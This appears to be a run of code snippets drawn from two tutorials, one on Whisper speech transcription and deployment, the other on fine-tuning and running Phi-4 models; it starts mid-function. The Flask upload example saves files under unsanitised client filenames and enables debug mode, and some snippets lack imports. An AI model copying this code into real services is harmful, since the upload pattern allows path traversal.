        result = model.transcribe(
            chunk,
            initial_prompt=previous_text[-200:] if previous_text else None
        )

        transcripts.append(result["text"])
        previous_text = result["text"]

    return " ".join(transcripts)

# Usage
full_transcript = transcribe_with_context("long_audio.mp3")

# Use multiple temperatures for difficult audio
result = model.transcribe(
    "difficult_audio.mp3",
    temperature=(0.0, 0.2, 0.4, 0.6, 0.8, 1.0)
)

# Check which temperature was used
for segment in result["segments"]:
    print(f"Temperature used: {segment['temperature']}")
    print(f"Text: {segment['text']}")

# Adjust beam search for better accuracy
result = model.transcribe(
    "audio.mp3",
    beam_size=10,          # Default: 5
    best_of=5,             # Default: 5
    patience=2.0,          # Default: 1.0
)

# For faster inference with acceptable quality
result = model.transcribe(
    "audio.mp3",
    beam_size=1,  # Greedy decoding
)

# Filter out hallucinations using compression ratio
def transcribe_with_filtering(audio_file, compression_threshold=2.4):
    model = whisper.load_model("medium")
    result = model.transcribe(audio_file)

    filtered_segments = []

    for segment in result["segments"]:
        if segment["compression_ratio"] < compression_threshold:
            filtered_segments.append(segment)
        else:
            print(f"Filtered segment (compression: {segment['compression_ratio']:.2f}): {segment['text']}")

    return filtered_segments

segments = transcribe_with_filtering("audio.mp3")

# Remove segments without speech
def filter_no_speech(result, threshold=0.6):
    return [
        segment for segment in result["segments"]
        if segment["no_speech_prob"] < threshold
    ]

result = model.transcribe("audio.mp3")
speech_segments = filter_no_speech(result, threshold=0.5)

# Using faster-whisper for word-level timestamps
from faster_whisper import WhisperModel

model = WhisperModel("medium", device="cuda")

segments, info = model.transcribe(
    "audio.mp3",
    word_timestamps=True
)

for segment in segments:
    print(f"[{segment.start:.2f}s - {segment.end:.2f}s] {segment.text}")

    for word in segment.words:
        print(f"  [{word.start:.2f}s - {word.end:.2f}s] {word.word}")

# 1. Use faster-whisper (4x faster)
from faster_whisper import WhisperModel

model = WhisperModel("base", device="cuda", compute_type="float16")
segments, _ = model.transcribe("audio.mp3")

# 2. Use smaller model
model = whisper.load_model("tiny")  # 32x faster than large

# 3. Reduce beam size
result = model.transcribe("audio.mp3", beam_size=1)

# 4. Skip language detection
result = model.transcribe("audio.mp3", language="en")

# 5. Lower temperature
result = model.transcribe("audio.mp3", temperature=0.0)

# 6. Batch processing with faster-whisper
model = WhisperModel("base")
audio_files = ["audio1.mp3", "audio2.mp3", "audio3.mp3"]

for audio_file in audio_files:
    segments, _ = model.transcribe(audio_file)
    for segment in segments:
        print(segment.text)

import torch
import gc

# 1. Use smaller model
model = whisper.load_model("small")

# 2. Process in chunks
def transcribe_large_file(audio_file, chunk_duration=30):
    model = whisper.load_model("base")
    audio = whisper.load_audio(audio_file)
    sample_rate = 16000

    transcripts = []
    chunk_samples = chunk_duration * sample_rate

    for i in range(0, len(audio), chunk_samples):
        chunk = audio[i:i + chunk_samples]
        result = model.transcribe(chunk)
        transcripts.append(result["text"])

        # Clear cache
        torch.cuda.empty_cache()
        gc.collect()

    return " ".join(transcripts)

# 3. Use int8 quantization (CPU)
from faster_whisper import WhisperModel

model = WhisperModel("medium", device="cpu", compute_type="int8")

# 4. Enable gradient checkpointing (for training)
model.gradient_checkpointing_enable()

import time

def benchmark_models(audio_file):
    models = ["tiny", "base", "small", "medium", "large-v3"]
    results = []

    for model_name in models:
        print(f"Testing {model_name}...")
        model = whisper.load_model(model_name)

        start = time.time()
        result = model.transcribe(audio_file)
        duration = time.time() - start

        results.append({
            "model": model_name,
            "duration": duration,
            "text": result["text"]
        })

        del model
        torch.cuda.empty_cache()

    return results

# Analyze results
results = benchmark_models("test_audio.mp3")
for r in results:
    print(f"{r['model']}: {r['duration']:.2f}s")

from faster_whisper import WhisperModel
import concurrent.futures

model = WhisperModel("base", device="cuda")

def transcribe_file(audio_file):
    segments, _ = model.transcribe(audio_file)
    return " ".join([segment.text for segment in segments])

# Parallel processing
audio_files = ["audio1.mp3", "audio2.mp3", "audio3.mp3"]

with concurrent.futures.ThreadPoolExecutor(max_workers=4) as executor:
    results = list(executor.map(transcribe_file, audio_files))

for audio_file, result in zip(audio_files, results):
    print(f"{audio_file}: {result[:100]}...")

import torch

# 1. Use float16 (half precision)
model = whisper.load_model("medium").half().cuda()

# 2. Enable TensorFloat32 (Ampere GPUs)
torch.backends.cuda.matmul.allow_tf32 = True
torch.backends.cudnn.allow_tf32 = True

# 3. Use faster-whisper with optimal settings
from faster_whisper import WhisperModel

model = WhisperModel(
    "large-v3",
    device="cuda",
    compute_type="float16",
    num_workers=4
)

# 4. Pin memory for faster data transfer
# (Handled automatically by faster-whisper)

from fastapi import FastAPI, File, UploadFile, Form
from fastapi.responses import JSONResponse
import whisper
import tempfile
import os

app = FastAPI()

# Load model at startup
model = whisper.load_model("base")

@app.post("/transcribe")
async def transcribe_audio(
    file: UploadFile = File(...),
    language: str = Form("en"),
    task: str = Form("transcribe")
):
    # Save uploaded file temporarily
    with tempfile.NamedTemporaryFile(delete=False, suffix=".mp3") as temp_file:
        content = await file.read()
        temp_file.write(content)
        temp_path = temp_file.name

    try:
        # Transcribe
        result = model.transcribe(
            temp_path,
            language=language,
            task=task
        )

        return JSONResponse({
            "text": result["text"],
            "language": result["language"],
            "segments": [
                {
                    "start": seg["start"],
                    "end": seg["end"],
                    "text": seg["text"]
                }
                for seg in result["segments"]
            ]
        })

    finally:
        # Clean up
        os.unlink(temp_path)

@app.get("/health")
async def health_check():
    return {"status": "healthy"}

# Run: uvicorn app:app --host 0.0.0.0 --port 8000

# Dockerfile
FROM nvidia/cuda:11.8.0-base-ubuntu22.04

# Install Python and ffmpeg
RUN apt-get update && apt-get install -y \
    python3 python3-pip ffmpeg \
    && rm -rf /var/lib/apt/lists/*

# Install dependencies
COPY requirements.txt .
RUN pip3 install -r requirements.txt

# Copy application
COPY app.py .

# Download model at build time (optional)
RUN python3 -c "import whisper; whisper.load_model('base')"

# Expose port
EXPOSE 8000

# Run
CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "8000"]

# Build and run
docker build -t whisper-api .
docker run -p 8000:8000 --gpus all whisper-api

# tasks.py
from celery import Celery
import whisper

app = Celery('tasks', broker='redis://localhost:6379/0')

model = whisper.load_model("base")

@app.task
def transcribe_task(audio_path, language="en"):
    result = model.transcribe(audio_path, language=language)
    return {
        "text": result["text"],
        "segments": result["segments"]
    }

# client.py
from tasks import transcribe_task

# Submit task
task = transcribe_task.delay("audio.mp3", language="en")

# Get result
result = task.get(timeout=300)
print(result["text"])

# lambda_function.py
import json
import boto3
import whisper
import tempfile

s3 = boto3.client('s3')
model = whisper.load_model("tiny")  # Use tiny for lambda

def lambda_handler(event, context):
    # Get audio from S3
    bucket = event['bucket']
    key = event['key']

    with tempfile.NamedTemporaryFile(suffix=".mp3") as temp_file:
        s3.download_fileobj(bucket, key, temp_file)
        temp_file.flush()

        # Transcribe
        result = model.transcribe(temp_file.name)

        return {
            'statusCode': 200,
            'body': json.dumps({
                'text': result['text']
            })
        }

# deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: whisper-api
spec:
  replicas: 3
  selector:
    matchLabels:
      app: whisper-api
  template:
    metadata:
      labels:
        app: whisper-api
    spec:
      containers:
      - name: whisper
        image: whisper-api:latest
        ports:
        - containerPort: 8000
        resources:
          limits:
            nvidia.com/gpu: 1
          requests:
            memory: "8Gi"
            cpu: "2"
---
apiVersion: v1
kind: Service
metadata:
  name: whisper-service
spec:
  selector:
    app: whisper-api
  ports:
  - protocol: TCP
    port: 80
    targetPort: 8000
  type: LoadBalancer

# Using WhisperX with pyannote
import whisperx

device = "cuda"
audio_file = "meeting.mp3"

# 1. Transcribe
model = whisperx.load_model("large-v3", device, compute_type="float16")
audio = whisperx.load_audio(audio_file)
result = model.transcribe(audio, batch_size=16)

# 2. Align
model_a, metadata = whisperx.load_align_model(
    language_code=result["language"],
    device=device
)
result = whisperx.align(result["segments"], model_a, metadata, audio, device)

# 3. Diarize
from pyannote.audio import Pipeline

diarize_pipeline = Pipeline.from_pretrained(
    "pyannote/speaker-diarization",
    use_auth_token="YOUR_HF_TOKEN"
)
diarize_segments = diarize_pipeline(audio_file)

# 4. Assign speakers
result = whisperx.assign_word_speakers(diarize_segments, result)

# 5. Format output
for segment in result["segments"]:
    speaker = segment.get("speaker", "UNKNOWN")
    print(f"[{segment['start']:.1f}s - {segment['end']:.1f}s] {speaker}: {segment['text']}")

def transcribe_multilingual(audio_file):
    model = whisper.load_model("large-v3")

    # Initial language detection
    audio = whisper.load_audio(audio_file)
    audio_segment = whisper.pad_or_trim(audio)
    mel = whisper.log_mel_spectrogram(audio_segment).to(model.device)

    _, probs = model.detect_language(mel)
    primary_language = max(probs, key=probs.get)

    print(f"Primary language: {primary_language}")

    # Transcribe with language switching detection
    result = model.transcribe(
        audio_file,
        task="transcribe",
        verbose=True
    )

    # Detect language per segment
    segments_with_language = []

    for segment in result["segments"]:
        segment_audio = audio[int(segment["start"] * 16000):int(segment["end"] * 16000)]
        segment_audio = whisper.pad_or_trim(segment_audio)
        mel = whisper.log_mel_spectrogram(segment_audio).to(model.device)

        _, seg_probs = model.detect_language(mel)
        seg_language = max(seg_probs, key=seg_probs.get)

        segments_with_language.append({
            "start": segment["start"],
            "end": segment["end"],
            "text": segment["text"],
            "language": seg_language,
            "confidence": seg_probs[seg_language]
        })

    return segments_with_language

# Usage
segments = transcribe_multilingual("multilingual_audio.mp3")
for seg in segments:
    print(f"[{seg['language']}] {seg['text']}")

def transcribe_with_vocabulary(audio_file, vocabulary):
    """
    Use initial_prompt to guide recognition of specific terms
    """
    model = whisper.load_model("medium")

    # Create prompt with vocabulary
    vocab_prompt = "Vocabulary: " + ", ".join(vocabulary) + "."

    result = model.transcribe(
        audio_file,
        initial_prompt=vocab_prompt
    )

    return result

# Usage
custom_vocab = [
    "TensorFlow", "PyTorch", "CUDA", "GPU",
    "Kubernetes", "Docker", "CI/CD",
    "API", "REST", "GraphQL"
]

result = transcribe_with_vocabulary("tech_talk.mp3", custom_vocab)

import noisereduce as nr
import librosa
import soundfile as sf
import whisper

def transcribe_with_noise_reduction(audio_file):
    # Load audio
    audio, sr = librosa.load(audio_file, sr=16000)

    # Reduce noise
    reduced_noise = nr.reduce_noise(y=audio, sr=sr, prop_decrease=0.8)

    # Save temporarily
    temp_file = "temp_cleaned.wav"
    sf.write(temp_file, reduced_noise, sr)

    # Transcribe
    model = whisper.load_model("base")
    result = model.transcribe(temp_file)

    # Clean up
    import os
    os.remove(temp_file)

    return result

# Usage
result = transcribe_with_noise_reduction("noisy_audio.mp3")

from pydub import AudioSegment
from pydub.effects import normalize
import whisper

def transcribe_with_normalization(audio_file):
    # Load and normalize
    audio = AudioSegment.from_file(audio_file)
    normalized_audio = normalize(audio)

    # Export
    temp_file = "temp_normalized.mp3"
    normalized_audio.export(temp_file, format="mp3")

    # Transcribe
    model = whisper.load_model("base")
    result = model.transcribe(temp_file)

    # Clean up
    import os
    os.remove(temp_file)

    return result

import re

def post_process_transcript(text):
    """
    Clean up and format transcript
    """
    # Remove multiple spaces
    text = re.sub(r'\s+', ' ', text)

    # Capitalize sentences
    text = '. '.join(sentence.capitalize() for sentence in text.split('. '))

    # Fix common errors
    replacements = {
        ' i ': ' I ',
        "im ": "I'm ",
        "ive ": "I've ",
        "youre ": "you're ",
    }

    for old, new in replacements.items():
        text = text.replace(old, new)

    # Remove filler words (optional)
    fillers = ['um', 'uh', 'er', 'ah']
    for filler in fillers:
        text = re.sub(rf'\b{filler}\b', '', text, flags=re.IGNORECASE)

    # Clean up spacing
    text = re.sub(r'\s+', ' ', text).strip()

    return text

# Usage
result = model.transcribe("audio.mp3")
clean_text = post_process_transcript(result["text"])

def transcribe_with_confidence(audio_file):
    model = whisper.load_model("medium")
    result = model.transcribe(audio_file, verbose=False)

    segments_with_confidence = []

    for segment in result["segments"]:
        # Average log probability as confidence
        avg_logprob = segment["avg_logprob"]
        confidence = np.exp(avg_logprob)  # Convert to probability

        segments_with_confidence.append({
            "text": segment["text"],
            "start": segment["start"],
            "end": segment["end"],
            "confidence": confidence,
            "no_speech_prob": segment["no_speech_prob"]
        })

    return segments_with_confidence

# Usage
segments = transcribe_with_confidence("audio.mp3")
for seg in segments:
    if seg["confidence"] > 0.8:
        print(f"HIGH CONF: {seg['text']}")
    else:
        print(f"LOW CONF: {seg['text']} (review needed)")

from langchain.document_loaders import WhisperAudioLoader
from langchain.chains.summarize import load_summarize_chain
from langchain.llms import OpenAI

# Transcribe audio
loader = WhisperAudioLoader("meeting.mp3")
documents = loader.load()

# Summarize transcript
llm = OpenAI(temperature=0)
chain = load_summarize_chain(llm, chain_type="map_reduce")
summary = chain.run(documents)

print(summary)

import streamlit as st
import whisper
import tempfile

st.title("Whisper Transcription App")

# Upload audio
uploaded_file = st.file_uploader("Choose an audio file", type=["mp3", "wav", "m4a"])

if uploaded_file is not None:
    # Model selection
    model_size = st.selectbox("Model size", ["tiny", "base", "small", "medium", "large-v3"])

    # Language selection
    language = st.selectbox("Language", ["auto", "en", "es", "fr", "de", "ja", "zh"])

    if st.button("Transcribe"):
        with st.spinner("Loading model..."):
            model = whisper.load_model(model_size)

        # Save uploaded file
        with tempfile.NamedTemporaryFile(delete=False, suffix=".mp3") as temp_file:
            temp_file.write(uploaded_file.read())
            temp_path = temp_file.name

        with st.spinner("Transcribing..."):
            result = model.transcribe(
                temp_path,
                language=None if language == "auto" else language
            )

        # Display results
        st.subheader("Transcript")
        st.write(result["text"])

        st.subheader("Segments")
        for segment in result["segments"]:
            st.write(f"**[{segment['start']:.1f}s - {segment['end']:.1f}s]** {segment['text']}")

        # Download button
        st.download_button(
            "Download Transcript",
            result["text"],
            file_name="transcript.txt"
        )

from flask import Flask, request, jsonify, render_template
import whisper
import os

app = Flask(__name__)
model = whisper.load_model("base")

UPLOAD_FOLDER = "uploads"
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/transcribe", methods=["POST"])
def transcribe():
    if "file" not in request.files:
        return jsonify({"error": "No file provided"}), 400

    file = request.files["file"]
    language = request.form.get("language", "en")

    # Save file
    filepath = os.path.join(UPLOAD_FOLDER, file.filename)
    file.save(filepath)

    try:
        # Transcribe
        result = model.transcribe(filepath, language=language)

        return jsonify({
            "text": result["text"],
            "segments": result["segments"]
        })

    finally:
        # Clean up
        os.remove(filepath)

if __name__ == "__main__":
    app.run(debug=True)

import discord
from discord.ext import commands
import whisper
import os

bot = commands.Bot(command_prefix="!")
model = whisper.load_model("base")

@bot.command()
async def transcribe(ctx):
    """Transcribe an attached audio file"""
    if not ctx.message.attachments:
        await ctx.send("Please attach an audio file!")
        return

    attachment = ctx.message.attachments[0]

    # Download file
    filepath = f"temp_{attachment.filename}"
    await attachment.save(filepath)

    await ctx.send("Transcribing...")

    try:
        # Transcribe
        result = model.transcribe(filepath)

        # Send result (split if too long)
        text = result["text"]
        if len(text) > 2000:
            for i in range(0, len(text), 2000):
                await ctx.send(text[i:i+2000])
        else:
            await ctx.send(text)

    finally:
        os.remove(filepath)

bot.run("YOUR_BOT_TOKEN")

from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters
import whisper
import os

model = whisper.load_model("base")

async def transcribe_audio(update: Update, context):
    """Handle voice messages"""
    if update.message.voice:
        file = await update.message.voice.get_file()
    elif update.message.audio:
        file = await update.message.audio.get_file()
    else:
        await update.message.reply_text("Please send an audio file or voice message!")
        return

    # Download
    filepath = "temp_audio.ogg"
    await file.download_to_drive(filepath)

    await update.message.reply_text("Transcribing...")

    try:
        # Transcribe
        result = model.transcribe(filepath)
        await update.message.reply_text(result["text"])

    finally:
        os.remove(filepath)

# Create application
app = Application.builder().token("YOUR_BOT_TOKEN").build()

# Add handlers
app.add_handler(MessageHandler(filters.VOICE | filters.AUDIO, transcribe_audio))

# Run
app.run_polling()

# Production decision tree
def choose_model(requirements):
    if requirements["latency"] == "realtime":
        return "tiny"
    elif requirements["accuracy"] == "high" and requirements["resources"] == "available":
        return "large-v3"
    elif requirements["accuracy"] == "medium":
        return "small" if requirements["latency"] == "fast" else "medium"
    else:
        return "base"

# Example
model_name = choose_model({
    "latency": "moderate",
    "accuracy": "high",
    "resources": "available"
})

def safe_transcribe(audio_file, model_size="base", max_retries=3):
    """Robust transcription with error handling"""
    import logging

    for attempt in range(max_retries):
        try:
            model = whisper.load_model(model_size)
            result = model.transcribe(audio_file)
            return result

        except FileNotFoundError:
            logging.error(f"Audio file not found: {audio_file}")
            raise

        except RuntimeError as e:
            if "out of memory" in str(e):
                logging.warning(f"OOM on attempt {attempt + 1}, trying smaller model")
                model_size = {
                    "large-v3": "medium",
                    "medium": "small",
                    "small": "base",
                    "base": "tiny"
                }.get(model_size, "tiny")
                continue
            raise

        except Exception as e:
            logging.error(f"Transcription failed on attempt {attempt + 1}: {e}")
            if attempt == max_retries - 1:
                raise

    return None

def preprocess_audio(audio_file, output_file="processed.wav"):
    """Prepare audio for optimal transcription"""
    from pydub import AudioSegment

    # Load audio
    audio = AudioSegment.from_file(audio_file)

    # Convert to mono
    audio = audio.set_channels(1)

    # Set sample rate to 16kHz
    audio = audio.set_frame_rate(16000)

    # Normalize volume
    from pydub.effects import normalize
    audio = normalize(audio)

    # Remove silence from start/end
    from pydub.silence import detect_leading_silence

    start_trim = detect_leading_silence(audio)
    end_trim = detect_leading_silence(audio.reverse())

    duration = len(audio)
    audio = audio[start_trim:duration-end_trim]

    # Export
    audio.export(output_file, format="wav")

    return output_file

import logging
import time
from functools import wraps

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

def monitor_transcription(func):
    """Decorator to monitor transcription performance"""
    @wraps(func)
    def wrapper(audio_file, *args, **kwargs):
        logger.info(f"Starting transcription: {audio_file}")
        start_time = time.time()

        try:
            result = func(audio_file, *args, **kwargs)

            duration = time.time() - start_time
            text_length = len(result.get("text", ""))

            logger.info(f"Transcription completed in {duration:.2f}s")
            logger.info(f"Generated {text_length} characters")

            return result

        except Exception as e:
            logger.error(f"Transcription failed: {e}")
            raise

    return wrapper

@monitor_transcription
def transcribe(audio_file, model_size="base"):
    model = whisper.load_model(model_size)
    return model.transcribe(audio_file)

import hashlib
import json
import os

CACHE_DIR = ".whisper_cache"
os.makedirs(CACHE_DIR, exist_ok=True)

def get_file_hash(filepath):
    """Get MD5 hash of file"""
    hasher = hashlib.md5()
    with open(filepath, 'rb') as f:
        hasher.update(f.read())
    return hasher.hexdigest()

def transcribe_with_cache(audio_file, model_size="base"):
    """Transcribe with result caching"""
    # Generate cache key
    file_hash = get_file_hash(audio_file)
    cache_key = f"{file_hash}_{model_size}"
    cache_file = os.path.join(CACHE_DIR, f"{cache_key}.json")

    # Check cache
    if os.path.exists(cache_file):
        print("Loading from cache...")
        with open(cache_file, 'r') as f:
            return json.load(f)

    # Transcribe
    print("Transcribing...")
    model = whisper.load_model(model_size)
    result = model.transcribe(audio_file)

    # Save to cache
    with open(cache_file, 'w') as f:
        json.dump(result, f)

    return result

from concurrent.futures import ProcessPoolExecutor
import multiprocessing

def transcribe_single(args):
    """Transcribe single file (for parallel processing)"""
    audio_file, model_size = args
    import whisper

    model = whisper.load_model(model_size)
    result = model.transcribe(audio_file)

    return {
        "file": audio_file,
        "text": result["text"]
    }

def transcribe_parallel(audio_files, model_size="base", max_workers=None):
    """Transcribe multiple files in parallel"""
    if max_workers is None:
        max_workers = multiprocessing.cpu_count()

    args = [(f, model_size) for f in audio_files]

    with ProcessPoolExecutor(max_workers=max_workers) as executor:
        results = list(executor.map(transcribe_single, args))

    return results

# Usage
audio_files = ["audio1.mp3", "audio2.mp3", "audio3.mp3"]
results = transcribe_parallel(audio_files, model_size="base")

def validate_transcription(result, min_confidence=0.7):
    """Validate transcription quality"""
    issues = []

    # Check for hallucination indicators
    for segment in result["segments"]:
        # High compression ratio = possible hallucination
        if segment["compression_ratio"] > 2.4:
            issues.append(f"High compression at {segment['start']:.1f}s")

        # High no_speech_prob = not actually speech
        if segment["no_speech_prob"] > 0.6:
            issues.append(f"Low speech probability at {segment['start']:.1f}s")

        # Low confidence
        confidence = np.exp(segment["avg_logprob"])
        if confidence < min_confidence:
            issues.append(f"Low confidence at {segment['start']:.1f}s: {confidence:.2%}")

    if issues:
        print("⚠️  Quality issues detected:")
        for issue in issues:
            print(f"  - {issue}")
    else:
        print("✓ Quality check passed")

    return len(issues) == 0

Model Type: Decoder-only Transformer
Training Recipe:
├── High-quality curated data
├── Strategic synthetic data generation
├── Multi-stage training curriculum
└── Advanced post-training techniques

Key Features:
├── Grouped Query Attention (GQA)
├── Efficient KV cache management
├── Optimized tokenizer (200K vocabulary for Phi-4-mini)
└── Shared input-output embeddings

from peft import LoraConfig, get_peft_model

lora_config = LoraConfig(
    r=16,                    # LoRA rank (8-16 is sufficient baseline)
    lora_alpha=16,           # Alpha = rank for small datasets
    target_modules=[
        "q_proj",            # Query projection
        "k_proj",            # Key projection
        "v_proj",            # Value projection
        "o_proj",            # Output projection
        "gate_proj",         # MLP gate
        "down_proj",         # MLP down
        "up_proj"            # MLP up
    ],
    lora_dropout=0.05,
    bias="none",
    task_type="CAUSAL_LM"
)

# Phi-2 uses Wqkv instead of separate q/k/v projections
lora_config_phi2 = LoraConfig(
    r=16,
    lora_alpha=16,
    target_modules=["Wqkv", "out_proj"],
    lora_dropout=0.05,
    bias="none",
    task_type="CAUSAL_LM"
)

from transformers import TrainingArguments

training_args = TrainingArguments(
    learning_rate=2e-5,              # Start conservative
    lr_scheduler_type="constant",     # Constant schedule works well
    warmup_steps=100,
    max_steps=1000,
    # Alternative learning rates to try:
    # 5e-5: More aggressive
    # 8e-4: Maximum recommended for LoRA
)

from transformers import TrainingArguments, BitsAndBytesConfig
import torch

# Use bfloat16 for training (NOT fp16)
training_args = TrainingArguments(
    bf16=True,                        # Use bfloat16
    fp16=False,                       # Avoid fp16 (causes NaN errors)
    gradient_checkpointing=True,      # Reduce memory usage
    gradient_accumulation_steps=4,    # Effective batch size = batch * accum
    per_device_train_batch_size=1,    # Adjust based on memory
    optim="paged_adamw_8bit",        # Memory-efficient optimizer
)

# QLoRA quantization config
bnb_config = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_use_double_quant=True,
    bnb_4bit_quant_type="nf4",
    bnb_4bit_compute_dtype=torch.bfloat16
)

# Strategy 1: Small batch with gradient accumulation
per_device_train_batch_size = 1
gradient_accumulation_steps = 8
# Effective batch size = 1 * 8 = 8

# Strategy 2: Larger batch if memory allows
per_device_train_batch_size = 4
gradient_accumulation_steps = 2
# Effective batch size = 4 * 2 = 8

from transformers import (
    AutoModelForCausalLM,
    AutoTokenizer,
    TrainingArguments,
    Trainer,
    BitsAndBytesConfig
)
from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training
from datasets import load_dataset
import torch

# 1. Quantization configuration
bnb_config = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_use_double_quant=True,
    bnb_4bit_quant_type="nf4",
    bnb_4bit_compute_dtype=torch.bfloat16
)

# 2. Load model and tokenizer
model_id = "microsoft/phi-4"
tokenizer = AutoTokenizer.from_pretrained(model_id, trust_remote_code=True)
model = AutoModelForCausalLM.from_pretrained(
    model_id,
    quantization_config=bnb_config,
    device_map="auto",
    trust_remote_code=True
)

# 3. Prepare model for k-bit training
model = prepare_model_for_kbit_training(model)

# 4. Configure LoRA
lora_config = LoraConfig(
    r=16,
    lora_alpha=16,
    target_modules=["q_proj", "k_proj", "v_proj", "o_proj",
                   "gate_proj", "down_proj", "up_proj"],
    lora_dropout=0.05,
    bias="none",
    task_type="CAUSAL_LM"
)

model = get_peft_model(model, lora_config)
model.print_trainable_parameters()

# 5. Prepare dataset
dataset = load_dataset("your-dataset")

def preprocess_function(examples):
    return tokenizer(examples["text"], truncation=True, max_length=2048)

tokenized_dataset = dataset.map(preprocess_function, batched=True)

# 6. Training arguments
training_args = TrainingArguments(
    output_dir="./phi-4-finetuned",
    learning_rate=2e-5,
    lr_scheduler_type="constant",
    warmup_steps=100,
    max_steps=1000,
    per_device_train_batch_size=1,
    gradient_accumulation_steps=8,
    gradient_checkpointing=True,
    bf16=True,
    logging_steps=10,
    save_steps=100,
    save_total_limit=3,
    optim="paged_adamw_8bit",
    report_to="tensorboard"
)

# 7. Train
trainer = Trainer(
    model=model,
    args=training_args,
    train_dataset=tokenized_dataset["train"],
    eval_dataset=tokenized_dataset["test"],
)

trainer.train()

# 8. Save
model.save_pretrained("./phi-4-lora-adapters")
tokenizer.save_pretrained("./phi-4-lora-adapters")

# Instruction-following format
data = [
    {
        "instruction": "Explain quantum computing",
        "input": "",
        "output": "Quantum computing is..."
    },
    {
        "instruction": "Translate to French",
        "input": "Hello, how are you?",
        "output": "Bonjour, comment allez-vous?"
    }
]

# Convert to prompt template
def format_instruction(sample):
    return f"""### Instruction:
{sample['instruction']}

### Input:
{sample['input']}

### Response:
{sample['output']}"""

# Apply to dataset
formatted_data = [format_instruction(item) for item in data]

from transformers import AutoModelForCausalLM, AutoTokenizer

model = AutoModelForCausalLM.from_pretrained("microsoft/phi-4")
tokenizer = AutoTokenizer.from_pretrained("microsoft/phi-4")

prompt = "Explain the concept of recursion in programming:"
inputs = tokenizer(prompt, return_tensors="pt")
outputs = model.generate(**inputs, max_length=200)
print(tokenizer.decode(outputs[0]))

instruction_prompt = """### Instruction:
Write a Python function to calculate the Fibonacci sequence.

### Response:"""

inputs = tokenizer(instruction_prompt, return_tensors="pt")
outputs = model.generate(
    **inputs,
    max_length=500,
    temperature=0.7,
    top_p=0.9,
    do_sample=True
)

few_shot_prompt = """Classify the sentiment of movie reviews.

Review: "This movie was amazing! Best film of the year."
Sentiment: Positive

Review: "Terrible acting and boring plot."
Sentiment: Negative

Review: "It was okay, nothing special."
Sentiment: Neutral

Review: "Absolutely loved every minute of it!"
Sentiment:"""

# Model continues with prediction

cot_prompt = """Solve this math problem step by step:

Problem: If a train travels 120 miles in 2 hours, and then 180 miles in 3 hours, what is its average speed for the entire journey?

Let's solve this step by step:
"""

# Phi-4 excels at mathematical reasoning with CoT prompts

# For long documents, use sliding window approach
def process_long_document(text, chunk_size=3000, overlap=500):
    chunks = []
    for i in range(0, len(text), chunk_size - overlap):
        chunk = text[i:i + chunk_size]
        chunks.append(chunk)

    results = []
    for chunk in chunks:
        prompt = f"Summarize the following text:\n\n{chunk}"
        # Process each chunk
        results.append(generate(prompt))

    return results

# Phi-4-multimodal supports vision, speech, and text
from transformers import AutoProcessor, AutoModelForVision2Seq

model = AutoModelForVision2Seq.from_pretrained("microsoft/phi-4-multimodal")
processor = AutoProcessor.from_pretrained("microsoft/phi-4-multimodal")

# Image + Text
image = load_image("path/to/image.jpg")
prompt = "Describe what you see in this image"
inputs = processor(text=prompt, images=image, return_tensors="pt")
outputs = model.generate(**inputs)

# Speech + Text
audio = load_audio("path/to/audio.wav")
prompt = "Transcribe this audio"
inputs = processor(text=prompt, audio=audio, return_tensors="pt")
outputs = model.generate(**inputs)

from langchain.vectorstores import FAISS
from langchain.embeddings import HuggingFaceEmbeddings
from langchain.llms import HuggingFacePipeline

# Setup vector store
embeddings = HuggingFaceEmbeddings()
vectorstore = FAISS.from_documents(documents, embeddings)

# Setup Phi model
phi_pipeline = HuggingFacePipeline.from_model_id(
    model_id="microsoft/phi-4",
    task="text-generation",
    device=0
)

# RAG pipeline
def rag_query(question):
    # Retrieve relevant context
    docs = vectorstore.similarity_search(question, k=3)
    context = "\n".join([doc.page_content for doc in docs])

    # Generate answer with context
    prompt = f"""Use the following context to answer the question.

Context:
{context}

Question: {question}

Answer:"""

    return phi_pipeline(prompt)

from transformers import TextIteratorStreamer
from threading import Thread

streamer = TextIteratorStreamer(tokenizer, skip_special_tokens=True)

# Generate in separate thread
generation_kwargs = dict(
    inputs=input_ids,
    streamer=streamer,
    max_length=500,
    temperature=0.7
)

thread = Thread(target=model.generate, kwargs=generation_kwargs)
thread.start()

# Stream output
for text in streamer:
    print(text, end="", flush=True)

thread.join()

from transformers import AutoModelForCausalLM, AutoTokenizer
import torch

# Standard loading
model = AutoModelForCausalLM.from_pretrained(
    "microsoft/phi-4",
    torch_dtype=torch.float16,
    device_map="auto"
)
tokenizer = AutoTokenizer.from_pretrained("microsoft/phi-4")

# Inference
def generate_response(prompt, max_length=200):
    inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
    outputs = model.generate(
        **inputs,
        max_length=max_length,
        temperature=0.7,
        top_p=0.9,
        do_sample=True
    )
    return tokenizer.decode(outputs[0], skip_special_tokens=True)

from transformers import BitsAndBytesConfig

# 4-bit quantization
bnb_config = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_use_double_quant=True,
    bnb_4bit_quant_type="nf4",
    bnb_4bit_compute_dtype=torch.bfloat16
)

model = AutoModelForCausalLM.from_pretrained(
    "microsoft/phi-4",
    quantization_config=bnb_config,
    device_map="auto"
)

# Memory usage:
# - Phi-2 unquantized: ~6.5GB VRAM
# - Phi-2 4-bit NF4: ~2.1GB loading, ~5GB during inference
# - Phi-4 unquantized: ~14.96GB
# - Phi-4 4-bit: ~5.42GB (~64% reduction)

# Download GGUF quantized models
# Available quantizations: Q2_K, Q4_K, Q6_K, Q8_0

# Using llama.cpp
git clone https://github.com/ggerganov/llama.cpp
cd llama.cpp
make

# Run inference
./main -m phi-2-Q4_K.gguf -p "Your prompt here" -n 200

from optimum.onnxruntime import ORTModelForCausalLM

# Export to ONNX
model = ORTModelForCausalLM.from_pretrained(
    "microsoft/phi-4",
    export=True
)

# Optimized inference
model.save_pretrained("phi-4-onnx")

# Platform-specific optimizations:

# Intel OpenVINO (x86 processors)
# - Supports INT4, INT8, FP16, FP32
# - Optimized for Intel CPUs and GPUs

# Qualcomm QNN (Snapdragon)
